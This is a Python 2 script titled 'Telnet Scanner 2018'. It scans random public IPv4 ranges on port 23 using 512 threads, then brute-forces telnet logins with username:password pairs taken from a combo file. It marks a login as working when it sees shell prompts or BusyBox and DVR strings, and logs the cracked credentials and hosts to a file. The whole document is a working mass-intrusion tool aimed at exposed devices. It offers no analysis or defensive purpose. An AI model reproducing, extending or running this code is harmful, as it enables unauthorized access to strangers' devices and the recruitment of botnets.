Telnet Scanner 2018

import socket
import random
import itertools
import os
import string
import time
import socket
import threading
import select

def gen_IP_block():
    not_valid = [10,127,169,172,192]
    first = random.randrange(1,256)
    while first in not_valid:
        first = random.randrange(1,256)
    ip = ".".join([str(first),str(random.randrange(1,256)),
    str(random.randrange(1,256))])
    return ip+".1-255"

def ip_range(input_string):
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]

    for address in itertools.product(*ranges):
        yield '.'.join(map(str, address))

def Scan(IP):
    global totalscanned
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect((IP, 23))
        s.close()
        totalscanned += 1
        return True
    except:
        totalscanned += 1
        return False
        pass

def recv_timeout(sock, timeout):
    sock.setblocking(0)
    ready = select.select([sock], [], [], timeout)
    if ready[0]:
        data = sock.recv(4096)
    return data

def TelnetBrute(host):
    global fh
    global totalguessed
    global totalfound
    combos = open("combo.txt", "r").read().replace("\r", "").split("\n")
    data = ""
    for passwd in combos:
        try:
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((host, 23))
            s.send(passwd.split(":")[0] + "\r\n")
            time.sleep(1)
            s.send(passwd.split(":")[1] + "\r\n")
            data = recv_timeout(s, 2)
            totalguessed += 1
            for good in ["$", "#", ">", "shell", "dvrdvs", "usybox"]:
                if good in data:
                    totalfound += 1
                    fh.write(passwd + ":" + host + "\n")
                    fh.flush()
                    return
        except Exception as e:
            pass
def checkrange():
    checkedrange = 0
    while 1:
        for IP in ip_range(gen_IP_block()):
            if Scan(".".join(IP.split(".")[:3])+".1") and Scan(".".join(IP.split(".")[:3])+".254") and checkrange == 0:
                checkedrange = 1
                break #entire ip range has port open, skipping...
            if Scan(IP):
                TelnetBrute(IP)
        checkedrange = 0
def Status():
    global totalfound
    global totalguessed
    global totalscanned
    while 1:
        print 'Total Telnetz found: {0} Total guessed: {1} Total scanned: {2}\r'.format(totalfound, totalguessed, totalscanned),
        time.sleep(1)

global fh
global totalfound
global totalguessed
global totalscanned
global isscreenshotting
fh = open("telnetz.txt", "wb")
totalfound = 0
totalguessed = 0
totalscanned = 0
isscreenshotting = 0
threads = 0
threading.Thread(target = Status, args = ()).start()
for thread in xrange(0,512):
    try:
        threading.Thread(target = checkrange, args = ()).start()
        threads += 1
    except:
        pass

for i in range(0,3):
    raw_input()

os.popen("taskkill /f /pid " + str(os.getpid()))

'''
if __name__ == "__main__":
    threadcount = 0
    for i in xrange(0,1024):
        try:
            threading.Thread(target=HaxThread, args=()).start()
            threadcount += 1
        except:
            pass
    print "[*] Started " + str(threadcount) + " scanner threads!"
'''